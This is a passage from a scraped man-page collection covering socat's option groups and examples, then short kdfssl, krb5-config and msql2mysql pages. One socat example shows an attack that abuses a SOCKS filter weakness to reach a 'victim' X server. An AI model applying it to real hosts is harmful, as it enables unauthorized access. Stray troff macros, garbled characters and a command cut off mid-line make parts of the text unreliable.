Assigns the sub processes output channel to its file descriptor <fdnum> instead of stdout (1). The program started from the subprocess has to use this fd for writing data to socat (example).

sighup, sigint, sigquit
Has socat pass signals of this type to the sub process. If no address has this option, socat terminates on these signals.

Options for address SHELL

shell=<filename>
Overwrites use the default shell with the named executable, e.g. /bin/dash``. Also sets the ``SHELL`` environment variable.

TERMIOS option group

For addresses that work on a tty (e.g., stdio, file:/dev/tty, exec:…,pty), the terminal parameters defined in the UN*X termios mechanism are made available as address option parameters. Please note that changes of the parameters of your interactive terminal remain effective after socat’s termination, so you might have to enter “reset” or “stty sane” in your shell afterwards. For EXEC and SYSTEM addresses with option PTY, these options apply to the pty by the child processes.

b0
Disconnects the terminal.

b19200
Sets the serial line speed to 19200 baud. Some other rates are possible; use something like socat -hh |grep ’ b[1-9]’`` to find all speeds supported by your implementation.
Note: On some operating systems, these options may not be available. Use ispeed or ospeed instead.

echo[=<bool>]
Enables or disables local echo.

icanon[=<bool>]
Sets or clears canonical mode, enabling line buffering and some special characters.

raw
Sets raw mode, thus passing input and output almost unprocessed. This option is obsolete, use option rawer or cfmakeraw instead.

rawer
Makes terminal rawer than raw option. This option implicitly turns off echo. (example).

cfmakeraw
Sets raw mode by invoking cfmakeraw()`` or by simulating this call. This option implicitly turns off echo.

ignbrk[=<bool>]
Ignores or interpretes the BREAK character (e.g., ^C)

brkint[=<bool>]

bs0

bs1

bsdly=<0|1>

clocal[=<bool>]

.LP .nf cr0 cr1 cr2 cr3 .fi .IP Sets the carriage return delay to 0, 1, 2, or 3, respectively. 0 means no delay, the other values are terminal dependent.

crdly=<0|1|2|3>

cread[=<bool>]

crtscts[=<bool>]

.LP .nf cs5 cs6 cs7 cs8 .fi .IP Sets the character size to 5, 6, 7, or 8 bits, respectively.

csize=<0|1|2|3>

cstopb[=<bool>]
Sets two stop bits, rather than one.

dsusp=<byte>
Sets the value for the VDSUSP character that suspends the current foreground process and reactivates the shell (all except Linux).

echoctl[=<bool>]
Echos control characters in hat notation (e.g. ^A)

echoe[=<bool>]

echok[=<bool>]

echoke[=<bool>]

echonl[=<bool>]

echoprt[=<bool>]

eof=<byte>

eol=<byte>

eol2=<byte>

erase=<byte>

discard=<byte>

ff0

ff1

ffdly[=<bool>]

flusho[=<bool>]

hupcl[=<bool>]

icrnl[=<bool>]

iexten[=<bool>]

igncr[=<bool>]

ignpar[=<bool>]

imaxbel[=<bool>]

inlcr[=<bool>]

inpck[=<bool>]

intr=<byte>

isig[=<bool>]

ispeed=<unsigned-int>
Set the baud rate for incoming data on this line.
See also: ospeed, b19200

istrip[=<bool>]

iuclc[=<bool>]

ixany[=<bool>]

ixoff[=<bool>]

ixon[=<bool>]

kill=<byte>

lnext=<byte>

min=<byte>

nl0
Sets the newline delay to 0.

nl1

nldly[=<bool>]

noflsh[=<bool>]

ocrnl[=<bool>]

ofdel[=<bool>]

ofill[=<bool>]

olcuc[=<bool>]

onlcr[=<bool>]

onlret[=<bool>]

onocr[=<bool>]

opost[=<bool>]
Enables or disables output processing; e.g., converts NL to CR-NL.

ospeed=<unsigned-int>
Set the baud rate for outgoing data on this line.
See also: ispeed, b19200

parenb[=<bool>]
Enable parity generation on output and parity checking for input.

parmrk[=<bool>]

parodd[=<bool>]

pendin[=<bool>]

quit=<byte>

reprint=<byte>

sane
Brings the terminal to something like a useful default state.

start=<byte>

stop=<byte>

susp=<byte>

swtc=<byte>

tab0

tab1

tab2

tab3

tabdly=<unsigned-int>

time=<byte>

tostop[=<bool>]

vt0

vt1

vtdly[=<bool>]

werase=<byte>

xcase[=<bool>]

xtabs

i-pop-all
With UNIX System V STREAMS, removes all drivers from the stack.

i-push=<string>
With UNIX System V STREAMS, pushes the driver (module) with the given name (string) onto the stack. For example, to make sure that a character device on Solaris supports termios etc, use the following options: i-pop-all,i-push=ptem,i-push=ldterm,i-push=ttcompat

PTY option group

These options are intended for use with the pty address type.

link=<filename>
Generates a symbolic link that points to the actual pseudo terminal (pty). This might help to solve the problem that ptys are generated with more or less unpredictable names, making it difficult to directly access the socat generated pty automatically. With this option, the user can specify a “fix” point in the file hierarchy that helps him to access the actual pty (example). Beginning with socat version 1.4.3, the symbolic link is removed when the address is closed (but see option unlink-close).

wait-slave
Blocks the open phase until a process opens the slave side of the pty. Usually, socat continues after generating the pty with opening the next address or with entering the transfer loop. With the wait-slave option, socat waits until some process opens the slave side of the pty before continuing. This option only works if the operating system provides the poll() system call. And it depends on an undocumented behaviour of pty’s, so it does not work on all operating systems. It has successfully been tested on Linux, FreeBSD, NetBSD, and on Tru64 with openpty.

pty-interval=<seconds>
When the wait-slave option is set, socat periodically checks the HUP condition using poll()`` to find if the pty’s slave side has been opened. The default polling interval is 1s. Use the pty-interval option [timeval] to change this value.

sitout-eio=<timeval>
The login program in Linux closes its tty/pty and reopens it for security reasons. During this time the pty master would get EIO on I/O operations and might terminate. With this option socat tolerates EIO for the specified time. Please note that in this state socat blocks traffic in both directions, even when it is not related to this channel.

OPENSSL option group

These options apply to the openssl and openssl-listen address types.

cipher=<cipherlist>
Specifies the list of ciphers that may be used for the connection. See the man page of ciphers , section CIPHER LIST FORMAT, for detailed information about syntax, values, and default of <cipherlist>.
Several cipher strings may be given, separated by ’:’. Some simple cipher strings:

3DES
Uses a cipher suite with triple DES.

MD5
Uses a cipher suite with MD5.

aNULL
Uses a cipher suite without authentication.

NULL
Does not use encryption.

HIGH
Uses a cipher suite with “high” encryption. Note that the peer must support the selected property, or the negotiation will fail.

method=<ssl-method>
This option is based on deprecated functions and is only available when socat was build with option ``--with-openssl-method``. Use option min-proto-version and maybe max-proto-version instead. Sets the protocol version to be used. Valid strings (not case sensitive) are:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

SSL23
Select the best available SSL or TLS protocol.

TLS1
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2. When this option is not provided OpenSSL negotiates the mothod with its peer.

min-proto-version
This option tells OpenSSL to use this or a later SSL/TLS protocol version and refuses to accept a lower/older protocol. Valid syntax is:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

TLS1

TLS1.0
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2.

TLS1.3
Select TLS protocol version 1.3.

openssl-max-proto-version
This option is similar to min-proto-version, however, it disallows use of a higher protocol version. Useful for testing the peer.

verify[=<bool>]
Controls check of the peer’s certificate. Default is 1 (true). Disabling verify might open your socket for everyone, making the encryption useless!

cert=<filename>
Specifies the file with the certificate and private key for authentication. The certificate must be in OpenSSL format (*.pem). With openssl-listen, use of this option is strongly recommended. Except with cipher aNULL, “no shared ciphers” error will occur when no certificate is given.

key=<filename>
Specifies the file with the private key. The private key may be in this file or in the file given with the cert option. The party that has to proof that it is the owner of a certificate needs the private key.

dhparams=<filename>
Specifies the file with the Diffie Hellman parameters. These parameters may also be in the file given with the cert option in which case the dhparams option is not needed.

cafile=<filename>
Specifies the file with the trusted (root) authority certificates. The file must be in PEM format and should contain one or more certificates. The party that checks the authentication of its peer trusts only certificates that are in this file.

capath=<dirname>
Specifies the directory with the trusted (root) certificates. The directory must contain certificates in PEM format and their hashes (see OpenSSL documentation)

egd=<filename>
On some systems, openssl requires an explicit source of random data. Specify the socket name where an entropy gathering daemon like egd provides random data, e.g. /dev/egd-pool.

openssl-maxfraglen=<int>, maxfraglen=<int>
For client connections, make a Max Fragment Length Negotiation Request to the server to limit the maximum size fragment the server will send to us. Supported lengths are: 512, 1024, 2048, or 4096. Note that this option is not applicable for OPENSSL-LISTEN.

openssl-maxsendfrag=<int>, maxsendfrag=<int>
Limit the maximum size of the fragment we will send to the other side. Supported length range: 512 - 16384. Note that under OPENSSL-LISTEN, the maximum fragment size may be further limited by the client’s Maximum Fragment Length Negotiation Request, if it makes one.

pseudo
On systems where openssl cannot find an entropy source and where no entropy gathering daemon can be utilized, this option activates a mechanism for providing pseudo entropy. This is achieved by taking the current time in microseconds for feeding the libc pseudo random number generator with an initial value. openssl is then feeded with output from random() calls.
NOTE:This mechanism is not sufficient for generation of secure keys!

compress
Enable or disable the use of compression for a connection. Setting this to “none” disables compression, setting it to “auto” lets OpenSSL choose the best available algorithm supported by both parties. The default is to not touch any compression-related settings. NOTE: Requires OpenSSL 0.9.8 or higher and disabling compression with OpenSSL 0.9.8 affects all new connections in the process.

commonname=<string>
Specify the commonname that the peer certificate must match. With OPENSSL-CONNECT address this overrides the given hostname or IP target address; with OPENSSL-LISTEN this turns on check of peer certificates commonname. This option has only meaning when option verify is not disabled and the chosen cipher provides a peer certificate.

no-sni[=<bool>]
Do not use the client side Server Name Indication (SNI) feature that selects the desired server certificate.
Note: SNI is automatically used since socat version 1.7.4.0 and uses commonname or the given host name.

snihost=<string>
Set the client side Server Name Indication (SNI) host name different from the addressed server name or common name. This might be useful when the server certificate has multiple host names or wildcard names because the SNI host name is passed in cleartext to the server and might be eavesdropped; with this option a mock name of the desired certificate may be transferred.

fips
Enables FIPS mode if compiled in. For info about the FIPS encryption implementation standard see http://oss-institute.org/fips-faq.html. This mode might require that the involved certificates are generated with a FIPS enabled version of openssl. Setting or clearing this option on one socat address affects all OpenSSL addresses of this process.

RETRY option group

Options that control retry of some system calls, especially connection attempts.

retry=<num>
Number of retries before the connection or listen attempt is aborted. Default is 0, which means just one attempt.

interval=<timespec>
Time between consecutive attempts (seconds, [timespec]). Default is 1 second.

forever
Performs an unlimited number of retry attempts.

INTERFACE option group

These options may be applied to addresses INTERFACE and TUN. These address types and options are currently only implemented on Linux operating system.

Note regarding VLANs: On incoming packets the Linux kernel strips off the VLAN tag before passing the data to the user space program on raw sockets. Special measures are required to get the VLAN information, see packet(7) PACKET_AUXDATA, and to optionally insert the tag into the packet again, use option retrieve-vlan when you need this.

retrieve-vlan
On packets incoming on raw sockets, retrieve the VLAN information and insert it into the packets for further processing (Linux)

iff-up
Sets the TUN network interface status UP. Strongly recommended.

iff-broadcast
Sets the BROADCAST flag of the TUN network interface.

iff-debug
Sets the DEBUG flag of the TUN network interface.

iff-loopback
Sets the LOOPBACK flag of the TUN network interface.

iff-pointopoint
Sets the POINTOPOINT flag of the TUN device.

iff-notrailers
Sets the NOTRAILERS flag of the TUN device.

iff-running
Sets the RUNNING flag of the TUN device.

iff-noarp
Sets the NOARP flag of the TUN device.

iff-promisc
Sets the PROMISC flag of the TUN device.

iff-allmulti
Sets the ALLMULTI flag of the TUN device.

iff-master
Sets the MASTER flag of the TUN device.

iff-slave
Sets the SLAVE flag of the TUN device.

iff-multicast
Sets the MULTICAST flag of the TUN device.

iff-portsel
Sets the PORTSEL flag of the TUN device.

iff-automedia
Sets the AUTOMEDIA flag of the TUN device.

iff-dynamic
Sets the DYNAMIC flag of the TUN device.

TUN option group

Options that control Linux TUN/TAP interface device addresses.

tun-device=<device-file>
Instructs socat to take another path for the TUN clone device. Default is /dev/net/tun``.

tun-name=<if-name>
Gives the resulting network interface a specific name instead of the system generated (tun0, tun1, etc.)

tun-type=[tun|tap]
Sets the type of the TUN device; use this option to generate a TAP device. See the Linux docu for the difference between these types. When you try to establish a tunnel between two TUN devices, their types should be the same.

iff-no-pi
Sets the IFF_NO_PI flag which controls if the device includes additional packet information in the tunnel. When you try to establish a tunnel between two TUN devices, these flags should have the same values.

POSIX-MQ option group

Options that may be applied to POSIX-MQ addresses.

posixmq-priority (mq-prio)
Sets the priority of messages (packets) written to the queue, or the minimal priority of packet read from the queue.

DATA VALUES

This section explains the different data types that address parameters and address options can take.

address-range
Is currently only implemented for IPv4 and IPv6. See address-option `range’

bool
“0” or “1”; if value is omitted, “1” is taken.

byte
An unsigned int number, read with strtoul() , lower or equal to UCHAR_MAX .

command-line
A string specifying a program name and its arguments, separated by single spaces.

data
This is a more general data specification. The given text string contains information about the target data type and value. Generally a leading character specifies the type of the following data item. In its specific context a default data type may exist.
Currently only the following specifications are implemented:

  1. A signed integer number, stored in host byte order.
    Example: i-1000 (Integer number -1000)
  1. An unsigned integer number, stored in host byte order.
  1. A signed long integer number, stored in host byte order.
  1. An unsigned long integer number, stored in host byte order.
  1. A signed short integer number, stored in host byte order.
  1. An unsigned short integer number, stored in host byte order.
  1. A signed byte (signed char).
  1. An unsigned byte (unsigned char).
  1. Following is an even number of hex digits, stored as sequence of bytes.
    Example: x7f000001 (IP address 127.0.0.1)

"
Following is a string that is used with the common conversions    �; the string must be closed with ’"’. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: “Hello world! “


A single char, with the usual conversions. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: ’a’ Data items may be separated with white space without need to repeat the type specifier again.

directory
A string with usual UN*X directory name semantics.

facility
The name of a syslog facility in lower case characters.

fdnum
An unsigned int type, read with strtoul() , specifying a UN*X file descriptor.

filename
A string with usual UN*X filename semantics.

group
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a group id. Otherwise, it must be an existing group name.

int
A number following the rules of the strtol() function with base “0”, i.e. decimal number, octal number with leading “0”, or hexadecimal number with leading “0x”. The value must fit into a C int.

interface
A string specifying the device name of a network interface as shown by ifconfig or procan, e.g. “eth0”.

IP address
An IPv4 address in numbers-and-dots notation, an IPv6 address in hex notation enclosed in brackets, or a hostname that resolves to an IPv4 or an IPv6 address.
Examples: 127.0.0.1, [::1], www.dest-unreach.org, dns1

IPv4 address
An IPv4 address in numbers-and-dots notation or a hostname that resolves to an IPv4 address.
Examples: 127.0.0.1, www.dest-unreach.org, dns2

IPv6 address
An IPv6 address in hexnumbers-and-colons notation enclosed in brackets, or a hostname that resolves to an IPv6 address.
Examples: [::1], [1234:5678:9abc:def0:1234:5678:9abc:def0], ip6name.domain.org

long
A number read with strtol() . The value must fit into a C long.

long long
A number read with strtoll() . The value must fit into a C long long.

off_t
An implementation dependend signed number, usually 32 bits, read with strtol or strtoll.

off64_t
An implementation dependend signed number, usually 64 bits, read with strtol or strtoll.

mode_t
An unsigned integer, read with strtoul() , specifying mode (permission) bits.

pid_t
A number, read with strtol() , specifying a process id.

port
A uint16_t (16 bit unsigned number) specifying a TCP or UDP port, read with strtoul() .

protocol
An unsigned 8 bit number, read with strtoul() .

size_t
An unsigned number with size_t limitations, read with strtoul .

sockname
A socket address. See address-option `bind’

string
A sequence of characters, not containing ’�’ and, depending on the position within the command line, ’:’, ’,’, or “!!”. Note that you might have to escape shell meta characters in the command line.

TCP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

timeval
A double float specifying seconds; the number is mapped into a struct timeval, consisting of seconds and microseconds.

timespec
A double float specifying seconds; the number is mapped into a struct timespec, consisting of seconds and nanoseconds.

UDP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

unsigned int
A number read with strtoul() . The value must fit into a C unsigned int.

user
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a user id. Otherwise, it must be an existing user name.

VSOCK cid
A uint32_t (32 bit unsigned number) specifying a VSOCK Context Identifier (CID), read with strtoul() . There are several special addresses: VMADDR_CID_ANY (-1U) means any address for binding; VMADDR_CID_HOST (2) is the well-known address of the host.

VSOCK port
A uint32_t (32 bit unsigned number) specifying a VSOCK port, read with strtoul() .

EXAMPLES

.LP .nf socat - TCP4:www.domain.org:80 .RE .fi

transfers data between STDIO (-) and a TCP4 connection to port 80 of host www.domain.org. This example results in an interactive connection similar to telnet or netcat. The stdin terminal parameters are not changed, so you may close the relay with ^D or abort it with ^C.

.LP .nf *socat * .RS *TCP4-LISTEN:www * TCP4:www.domain.org:www .RE .fi

installs a simple TCP port forwarder. With TCP4-LISTEN it listens on local port “www” until a connection comes in, accepts it, then connects to the remote host (TCP4) and starts data transfer. It will not accept a second connection.

.LP .nf *socat -d -d -lmlocal2 * .RS *TCP4-LISTEN:80,bind=myaddr1,reuseaddr,fork,su=nobody,range=10.0.0.0/8 * TCP4:www.domain.org:80,bind=myaddr2 .RE .fi

TCP port forwarder, each side bound to another local IP address (bind). This example handles an almost arbitrary number of parallel or consecutive connections by fork’ing a new process after each accept() . It provides a little security by su’ing to user nobody after forking; it only permits connections from the private 10 network (range); due to reuseaddr, it allows immediate restart after master process’s termination, even if some child sockets are not completely shut down. With -lmlocal2, socat logs to stderr until successfully reaching the accept loop. Further logging is directed to syslog with facility local2.

.LP .nf *socat * .RS *TCP4-LISTEN:5555,fork,tcpwrap=script * EXEC:/bin/myscript,chroot=/home/sandbox,su-d=sandbox,pty,stderr .RE .fi

a simple server that accepts connections (TCP4-LISTEN) and fork’s a new child process for each connection; every child acts as single relay. The client must match the rules for daemon process name “script” in /etc/hosts.allow and /etc/hosts.deny, otherwise it is refused access (see “man 5 hosts_access”). For EXEC’uting the program, the child process chroot’s to /home/sandbox, su’s to user sandbox, and then starts the program /home/sandbox/bin/myscript. Socat and myscript communicate via a pseudo tty (pty); myscript’s stderr is redirected to stdout, so its error messages are transferred via socat to the connected client.

.LP .nf *socat * .RS *EXEC:“mail.sh [email protected]”,fdin=3,fdout=4 * TCP4:mail.relay.org:25,crnl,bind=alias1.server.org,mss=512 .RE .fi

mail.sh is a shell script, distributed with socat, that implements a simple SMTP client. It is programmed to “speak” SMTP on its FDs 3 (in) and 4 (out). The fdin and fdout options tell socat to use these FDs for communication with the program. Because mail.sh inherits stdin and stdout while socat does not use them, the script can read a mail body from stdin. Socat makes alias1 your local source address (bind), cares for correct network line termination (crnl) and sends at most 512 data bytes per packet (mss).

.LP .nf *socat * .RS *-,escape=0x0f * /dev/ttyS0,rawer,crnl .RE .fi

opens an interactive connection via the serial line, e.g. for talking with a modem. rawer sets the console’s and ttyS0’s terminal parameters to practicable values, crnl converts to correct newline characters. escape allows terminating the socat process with character control-O.

.LP .nf *socat * .RS *UNIX-LISTEN:/tmp/.X11-unix/X1,fork * SOCKS4:host.victim.org:127.0.0.1:6000,socksuser=nobody,sourceport=20 .RE .fi

with UNIX-LISTEN, socat opens a listening UNIX domain socket /tmp/.X11-unix/X1. This path corresponds to local XWindow display :1 on your machine, so XWindow client connections to DISPLAY=:1 are accepted. Socat then speaks with the SOCKS4 server host.victim.org that might permit sourceport 20 based connections due to an FTP related weakness in its static IP filters. Socat pretends to be invoked by socksuser nobody, and requests to be connected to loopback port 6000 (only weak sockd configurations will allow this). So we get a connection to the victims XWindow server and, if it does not require MIT cookies or Kerberos authentication, we can start work. Please note that there can only be one connection at a time, because TCP can establish only one session with a given set of addresses and ports.

.LP .nf *socat -u * .RS */tmp/readdata,seek-end=0,ignoreeof * STDIO .RE .fi

this is an example for unidirectional data transfer (-u). Socat transfers data from file /tmp/readdata (implicit address GOPEN), starting at its current end (seek-end=0 lets socat start reading at current end of file; use seek=0 or no seek option to first read the existing data) in a “tail -f” like mode (ignoreeof). The “file” might also be a listening UNIX domain socket (do not use a seek option then).

.LP .nf *(sleep 5; echo PASSWORD; sleep 5; echo ls; sleep 1) | * *socat - * .RS EXEC:‘ssh -l user server’,pty,setsid,ctty .RE .fi

EXEC’utes an ssh session to server. Uses a pty for communication between socat and ssh, makes it ssh’s controlling tty (ctty), and makes this pty the owner of a new process group (setsid), so ssh accepts the password from socat.

.LP .nf *socat -u * .RS *TCP4-LISTEN:3334,reuseaddr,fork * OPEN:/tmp/in.log,creat,append .RE .fi

implements a simple network based message collector. For each client connecting to port 3334, a new child process is generated (option fork). All data sent by the clients are append’ed to the file /tmp/in.log. If the file does not exist, socat creat’s it. Option reuseaddr allows immediate restart of the server process.

.LP .nf *socat * .RS *PTY,link=$HOME/dev/vmodem0,rawer,wait-slave * EXEC:’“ssh modemserver.us.org socat - /dev/ttyS0,nonblock,rawer”’ .RE .fi

generates a pseudo terminal device (PTY) on the client that can be reached under the symbolic link $HOME/dev/vmodem0. An application that expects a serial line or modem can be configured to use $HOME/dev/vmodem0; its traffic will be directed to a modemserver via ssh where another socat instance links it to /dev/ttyS0.

.LP .nf *sudo socat –experimental * .RS *TCP4-LISTEN:8000,reuseaddr,fork,netns=namespace1 * TCP4-CONNECT:server2:8000 .RE .fi

creates a listener in the given network namespace that accepts TCP connections on port 8000 and forwards them to server2.

.LP .nf *sudo socat –experimental * .RS *TUN:192.168.2.1/24,up * TUN:192.168.2.2/24,up,netns=namespace2 .RE .fi

creates two virtual network interfaces, one in default namespace, the other one in namespace2, and forwards packets between them, acting as a virtual network connection.

.LP .nf *socat * .RS *TCP4-LISTEN:2022,reuseaddr,fork * PROXY:proxy.local:www.domain.org:22,proxyport=3128,proxyauth=username:s3cr3t .RE .fi

starts a forwarder that accepts connections on port 2022, and directs them through the proxy daemon listening on port 3128 (proxyport) on host proxy.local, using the CONNECT method, where they are authenticated as “username” with “s3cr3t” (proxyauth). proxy.local should establish connections to host www.domain.org on port 22 then.

.LP .nf *socat - * .RS SSL:server:4443,cafile=./server.crt,cert=./client.pem .RE .fi

is an OpenSSL client that tries to establish a secure connection to an SSL server. Option cafile specifies a file that contains trust certificates: we trust the server only when it presents one of these certificates and proofs that it owns the related private key. Otherwise the connection is terminated. With cert a file containing the client certificate and the associated private key is specified. This is required in case the server wishes a client authentication; many Internet servers do not.
The first address (’-’) can be replaced by almost any other socat address.

.LP .nf *socat * .RS *OPENSSL-LISTEN:4443,reuseaddr,pf=ip4,fork,cert=./server.pem,cafile=./client.crt * PIPE .RE .fi

is an OpenSSL server that accepts TCP connections, presents the certificate from the file server.pem and forces the client to present a certificate that is verified against cafile.crt.
The second address (’PIPE’) can be replaced by almost any other socat address.
For instructions on generating and distributing OpenSSL keys and certificates see the additional socat docu socat-openssl.txt.

.LP .nf echo | socat -u - \ .RS FILE:/tmp/bigfile,create,largefile,seek=100000000000 .RE .fi

creates a 100GB+1B sparse file; this requires a file system type that supports this (ext2, ext3, ext4, reiserfs, xfs; not minix, vfat). The operation of writing 1 byte might take long (reiserfs: some minutes; ext2: “no” time), and the resulting file can consume some disk space with just its inodes (reiserfs: 2MB; ext2: 16KB).

.LP .nf *socat * .RS *TCP-L:7777,reuseaddr,fork * SYSTEM:‘filan -i 0 -s >&2’,nofork .RE .fi

listens for incoming TCP connections on port 7777. For each accepted connection, invokes a shell. This shell has its stdin and stdout directly connected to the TCP socket (nofork). The shell starts filan and lets it print the socket addresses to stderr (your terminal window).

.LP .nf **echo -e “�\14��

450 - Linux cli command kdfssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kdfssl and provides detailed information about the command kdfssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kdfssl.

NAME 🖥️ kdfssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

451 - Linux cli command krb5-config.mit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command krb5-config.mit and provides detailed information about the command krb5-config.mit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the krb5-config.mit.

NAME 🖥️ krb5-config.mit 🖥️

config - tool for linking against MIT Kerberos libraries

SYNOPSIS

krb5-config [–help | –all | –version | –vendor | –prefix | –exec-prefix | –defccname | –defktname | –defcktname | –cflags | –libs [libraries]]

DESCRIPTION

krb5-config tells the application programmer what flags to use to compile and link programs against the installed Kerberos libraries.

OPTIONS

–help
prints a usage message. This is the default behavior when no options are specified.

–all
prints the version, vendor, prefix, and exec-prefix.

–version
prints the version number of the Kerberos installation.

–vendor
prints the name of the vendor of the Kerberos installation.

–prefix
prints the prefix for which the Kerberos installation was built.

–exec-prefix
prints the prefix for executables for which the Kerberos installation was built.

–defccname
prints the built-in default credentials cache location.

–defktname
prints the built-in default keytab location.

–defcktname
prints the built-in default client (initiator) keytab location.

–cflags
prints the compilation flags used to build the Kerberos installation.

–libs [library]
prints the compiler options needed to link against library. Allowed values for library are:

_
krb5Kerberos 5 applications (default)
_
gssapiGSSAPI applications with Kerberos 5 bindings
_
kadm-clientKadmin client
_
kadm-serverKadmin server
_
kdbApplications that access the Kerberos database
_

EXAMPLES

krb5-config is particularly useful for compiling against a Kerberos installation that was installed in a non-standard location. For example, a Kerberos installation that is installed in /opt/krb5/ but uses libraries in /usr/local/lib/ for text localization would produce the following output:

shell% krb5-config –libs krb5 -L/opt/krb5/lib -Wl,-rpath -Wl,/opt/krb5/lib -L/usr/local/lib -lkrb5 -lk5crypto -lcom_err

SEE ALSO

kerberos(7), cc(1)

AUTHOR

MIT

COPYRIGHT

1985-2024, MIT

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

452 - Linux cli command msql2mysql

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msql2mysql and provides detailed information about the command msql2mysql, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msql2mysql.

NAME 🖥️ msql2mysql 🖥️

convert mSQL programs for use with MySQL

SYNOPSIS

msql2mysqlC-source-file

DESCRIPTION

Initially, the MySQL C API was developed to be very similar to that for the mSQL database system. Because of this, mSQL programs often can be converted relatively easily for use with MySQL by changing the names of the C API functions.

The msql2mysql utility performs the conversion of mSQL C API function calls to their MySQL equivalents. msql2mysql converts the input file in place, so make a copy of the original before converting it. For example, use msql2mysql like this:

shell> cp client-prog.c client-prog.c.orig shell> msql2mysql client-prog.c client-prog.c converted

Then examine client-prog.c and make any post-conversion revisions that may be necessary.

msql2mysql uses the replace utility to make the function name substitutions. See replace(1).

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

